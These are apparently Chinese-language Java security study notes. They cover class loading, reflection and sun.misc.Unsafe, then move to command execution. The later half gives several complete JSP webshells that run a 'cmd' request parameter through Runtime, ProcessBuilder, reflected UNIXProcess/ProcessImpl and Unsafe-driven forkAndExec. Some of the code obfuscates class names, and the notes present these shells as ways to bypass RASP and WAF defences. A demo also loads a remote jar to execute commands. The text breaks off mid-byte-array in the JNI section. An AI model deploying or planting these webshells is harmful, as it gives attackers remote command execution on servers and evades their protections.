Java安全入门笔记(二)

Java语言基础

  • 大小写敏感:Java 是大小写敏感的,这就意味着标识符 Hello 与 hello 是不同的。
  • 类名:对于所有的类来说,类名的首字母应该大写。如果类名由若干单词组成,那么每个单词的首字母应该大写,例如 MyFirstJavaClass
  • 方法名:所有的方法名都应该以小写字母开头。如果方法名含有若干单词,则后面的每个单词首字母大写。
  • 源文件名:源文件名必须和类名相同。当保存文件的时候,你应该使用类名作为文件名保存(切记 Java 是大小写敏感的),文件名的后缀为 .java。(如果文件名和类名不相同则会导致编译错误)。
  • 主方法入口:所有的 Java 程序由 public static void main(String[] args) 方法开始执行。
  • 一个源文件中只能有一个 public 类
  • 一个源文件可以有多个非 public 类
  • 源文件的名称应该和 public 类的类名保持一致。例如:源文件中 public 类的类名是 Employee,那么源文件应该命名为Employee.java。
  • 如果一个类定义在某个包中,那么 package 语句应该在源文件的首行。
  • 如果源文件包含 import 语句,那么应该放在 package 语句和类定义之间。如果没有 package 语句,那么 import 语句应该在源文件中最前面。
  • import 语句和 package 语句对源文件中定义的所有类都有效。在同一源文件中,不能给不同的类不同的包声明。

Mac使用jenv管理java环境

1.
$ brew install jenv #需要代理

2.
Bash
$ echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.bash_profile
$ echo 'eval "$(jenv init -)"' >> ~/.bash_profile
Zsh
$ echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrc
$ echo 'eval "$(jenv init -)"' >> ~/.zshrc

2.5.
# 记得重启终端
# 这里还需要自己手动创建 /Users/xxx/.jenv/version 文件夹

3.
jenv add /Library/Java/JavaVirtualMachines/jdk-11.0.12.jdk/Contents/Home

4. 
List managed JDKs
$ jenv versions
  system
  oracle64-1.6.0.39
* oracle64-1.7.0.11 (set by /Users/hikage/.jenv/version)
Configure global version
$ jenv global oracle64-1.6.0.39
Configure local version (per directory)
$ jenv local oracle64-1.6.0.39
Configure shell instance version
$ jenv shell oracle64-1.6.0.39

Java类加载机制(ClassLoader)

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

引导类加载器(Bootstrap ClassLoader)

这个类加载器负责将\lib目录下的类库加载到虚拟机内存中,用来加载java的核心库,此类加载器并不继承于java.lang.ClassLoader,不能被java程序直接调用,代码是使用C++编写的,是虚拟机自身的一部分

扩展类加载器(Extendsion ClassLoader)

这个类加载器负责加载\lib\ext目录下的类库,用来加载java的扩展库,开发者可以直接使用这个类加载器

应用程序类加载器(Application ClassLoader)

这个类加载器负责加载用户类路径(CLASSPATH)下的类库,一般我们编写的java类都是由这个类加载器加载,这个类加载器是CLassLoader中的getSystemClassLoader()方法的返回值,所以也称为系统类加载器,一般情况下这就是系统默认的类加载器

除此之外,我们还可以加入自己定义的类加载器,以满足特殊的需求,需要继承java.lang.ClassLoader

核心方法

  1. loadClass(加载指定的Java类)

ClassLoader.loadClass()是一个实例方法,需要一个ClassLoader对象来调用该方法,该方法将Class文件加载到内存时,并不会执行类的初始化,直到这个类第一次使用时才进行初始化。该方法因为需要得到一个ClassLoader对象,所以可以根据需要指定使用哪个类加载器。

如:ClassLoader cl=.......; cl.loadClass("com.wang.HelloWorld");

  1. findClass(查找指定的Java类)
  2. findLoadedClass(查找JVM已经加载过的类)
  3. defineClass(定义一个Java类)
  4. resolveClass(链接指定的Java类)

Java类动态加载方式

Java类加载方式分为显式隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常见的动态类加载方式:

// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");

// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName(返回与给定的字符串名称相关联接口的Class对象)

Class.forName()是一个静态方法,最常用的是Class.forname(String className);根据传入的类的全限定名返回一个Class对象。该方法在将Class文件加载到内存的同时,会执行类的初始化

如: Class.forName("com.wang.HelloWorld");

注:A a = (A)Class.forName("pacage.A").newInstance();A a = new A(); 是一样的效果,它们的区别在于创建对象的方式不一样,前者是使用类加载机制,后者是创建一个新类。

ClassLoader类加载流程

ClassLoader加载com.anbai.sec.classloader.TestHelloWorld类重要流程如下:

  1. ClassLoader会调用public Class loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
  7. 返回一个被JVM加载后的java.lang.Class类对象。

自定义ClassLoader

不管是Bootstrap ClassLoader还是ExtClassLoader等,这些类加载器都只是加载指定的目录下的jar包或者资源。在某种情况下,我们需要动态加载一些东西,比如从D盘某个文件夹加载一个class文件,或者从网络上下载class主内容然后再进行加载,如果要这样做的话,需要我们自定义一个ClassLoader。

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出:

TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);

但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

一般步骤:

  1. 编写一个类继承自ClassLoader抽象类

  2. 复写它的findClass()方法

  3. findClass()方法中调用defineClass()

  4. 编写自定义的类加载器

From字节码ClassLoader

Demo:

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    @Override
    public Class findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

URLClassLoader

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

注:还可利用file协议加载本地jar文件

Demo:

URLClassLoader.java

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("https://javaweb.org/tools/cmd.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "ls";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

cmd.jar

import java.io.IOException;

public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

Java反射机制

Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。

获取Class对象

Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:

  1. 类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class
  2. Class.forName("com.anbai.sec.classloader.TestHelloWorld")
  3. classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");

获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:

Class doubleArray = Class.forName("[D");//相当于double[].class
Class cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class

获取Runtime类Class对象代码片段:

String className     = "java.lang.Runtime";
Class  runtimeClass1 = Class.forName(className);
Class  runtimeClass2 = java.lang.Runtime.class;
Class  runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象了,反射调用内部类的时候需要使用$来代替.,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test$Hello

反射java.lang.Runtime

不使用反射执行本地命令代码片段:

System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));

如上可以看到,我们可以使用一行代码完成本地命令执行操作,但是如果使用反射就会比较麻烦了,我们不得不需要间接性的调用Runtimeexec方法。

反射Runtime执行本地命令代码片段:

// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
InputStream in = process.getInputStream();

// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));

反射调用Runtime实现本地命令执行的流程如下:

  1. 反射获取Runtime类对象(Class.forName("java.lang.Runtime"))。
  2. 使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。
  3. 获取Runtime类的exec(String)方法(runtimeClass1.getMethod("exec", String.class);)。
  4. 调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。

注:

我们没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime();的方式创建Runtime对象,但可以借助反射机制,修改方法访问权限从而间接的创建出Runtime对象。

runtimeClass1.getDeclaredConstructorruntimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组,如:clazz.getDeclaredConstructor(String.class, String.class)

如果我们想获取类的所有构造方法可以使用:clazz.getDeclaredConstructors来获取一个Constructor数组。

获取到Constructor以后我们可以通过constructor.newInstance()来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:constructor.newInstance("admin", "123456")。当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。

反射调用类方法

Class对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法。

获取当前类所有的成员方法:

Method[] methods = clazz.getDeclaredMethods()

获取当前类指定的成员方法:

Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);

getMethodgetDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)。

反射调用方法

获取到java.lang.reflect.Method对象以后我们可以通过Methodinvoke方法来调用类方法。

调用类方法代码片段:

method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);

method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用。

method.invoke的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型

反射调用成员变量

Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。

获取当前类的所有成员变量:

Field fields = clazz.getDeclaredFields();

获取当前类指定的成员变量:

Field field  = clazz.getDeclaredField("变量名");

getFieldgetDeclaredField的区别同getMethodgetDeclaredMethod

获取成员变量值:

Object obj = field.get(类实例对象);

修改成员变量值:

field.set(类实例对象, 修改后的值);

同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限。

如果我们需要修改被final关键字修饰的成员变量,那么我们需要先修改方法

// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

// 修改成员变量值
field.set(类实例对象, 修改后的值);

sun.misc.Unsafe

sun.misc.Unsafe是Java底层API(仅限Java内部使用,反射可调用)提供的一个神奇的Java类,Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的,本节只讲解如何使用Unsafe定义Java类、创建类实例。

Unsafe类是一个不能被继承的类且不能直接通过new的方式创建Unsafe类实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,默认只允许Bootstrap Classloader调用。

既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。

反射获取Unsafe类实例

// 反射获取Unsafe的theUnsafe成员变量
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");

// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);

// 反射获取theUnsafe成员变量值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

当然我们也可以用反射创建Unsafe类实例的方式去获取Unsafe对象:

// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();

// 修改构造方法访问权限
constructor.setAccessible(true);

// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInstance();

allocateInstance无视构造方法创建类实例

假设我们有一个叫com.anbai.sec.unsafe.UnSafeTest的类,因为某种原因我们不能直接通过反射的方式去创建UnSafeTest类实例,那么这个时候使用UnsafeallocateInstance方法就可以绕过这个限制了。

使用Unsafe创建UnSafeTest对象:

// 使用Unsafe创建UnSafeTest类实例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);

在渗透测试中也会经常遇到这样的限制,比如RASP限制了java.io.FileInputStream类的构造方法导致我们无法读文件或者限制了UNIXProcess/ProcessImpl类的构造方法导致我们无法执行本地命令等,这时候可以利用UnsafeallocateInstance方法绕过。

defineClass直接调用JVM创建类对象

Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法:

public native Class defineClass(String var1, byte[] var2, int var3, int var4);

public native Class defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);

使用Unsafe创建TestHelloWorld对象:

// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);

或调用需要传入类加载器和保护域的方法:

// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();

// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
    new CodeSource(null, (Certificate[]) null), null, classLoader, null
);

// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(
    TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);

Unsafe还可以通过defineAnonymousClass方法创建内部类

注意:

Java 8以前可以使用第一种

Java 8中应该使用调用需要传类加载器和保护域的那个方法

Java 11开始Unsafe类已经把defineClass方法移除了(defineAnonymousClass方法还在),虽然可以使用java.lang.invoke.MethodHandles.Lookup.defineClass来代替,但是MethodHandles只是间接的调用了ClassLoaderdefineClass

Java文件系统

在Java SE中内置了两类文件系统:java.iojava.niojava.nio的实现是sun.nio

Java有两类文件系统API,一个是基于阻塞模式的IO的文件系统,另一是JDK7+基于NIO.2的文件系统,合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了java.io.FileSystemWAF/RASP

Java命令执行

Runtime命令执行

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>

有回显:

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
    InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

ProcessBuilder命令执行

Runtime命令执行其最终exec方法会调用ProcessBuilder来执行本地命令,我们可以直接调用ProcessBuilder执行系统命令

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
    InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

反射UNIXProcess/ProcessImpl执行本地命令

UNIXProcessProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了

UNIXProcessProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

UNIXProcess类的forkAndExec示例:

private native int forkAndExec(int mode, byte[] helperpath,
                                   byte[] prog,
                                   byte[] argBlock, int argc,
                                   byte[] envBlock, int envc,
                                   byte[] dir,
                                   int[] fds,
                                   boolean redirectErrorStream)
        throws IOException;
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
    byte[] toCString(String s) {
        if (s == null) {
            return null;
        }

        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
    InputStream start(String[] strs) throws Exception {
        // java.lang.UNIXProcess
        String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});

        // java.lang.ProcessImpl
        String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});

        Class clazz = null;

        // 反射创建UNIXProcess或者ProcessImpl
        try {
            clazz = Class.forName(unixClass);
        } catch (ClassNotFoundException e) {
            clazz = Class.forName(processClass);
        }

        // 获取UNIXProcess或者ProcessImpl的构造方法
        Constructor constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        assert strs != null && strs.length > 0;

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];

        int size = args.length; // For added NUL bytes
        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc    = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};

        FileInputStream  f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;

        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try {
            if (f0 != null) f0.close();
        } finally {
            try {
                if (f1 != null) f1.close();
            } finally {
                if (f2 != null) f2.close();
            }
        }

        // 创建UNIXProcess或者ProcessImpl实例
        Object object = constructor.newInstance(
                toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        );

        // 获取命令执行的InputStream
        Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
        inMethod.setAccessible(true);

        return (InputStream) inMethod.invoke(object);
    }

    String inputStreamToString(InputStream in, String charset) throws IOException {
        try {
            if (charset == null) {
                charset = "UTF-8";
            }

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int                   a   = 0;
            byte[]                b   = new byte[1024];

            while ((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }

            return new String(out.toByteArray());
        } catch (IOException e) {
            throw e;
        } finally {
            if (in != null)
                in.close();
        }
    }
%>
<%
    String[] str = request.getParameterValues("cmd");

    if (str != null) {
        InputStream in     = start(str);
        String      result = inputStreamToString(in, "UTF-8");
        out.println("<pre>");
        out.println(result);
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

forkAndExec命令执行-Unsafe+反射+Native方法调用

利用Java的几个特性就可以绕过RASP执行本地命令,具体步骤如下:

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
%>
<%
    String[] strs = request.getParameterValues("cmd");

    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        out.println("<pre>");
        out.println(baos.toString());
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

JNI命令执行

Java可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
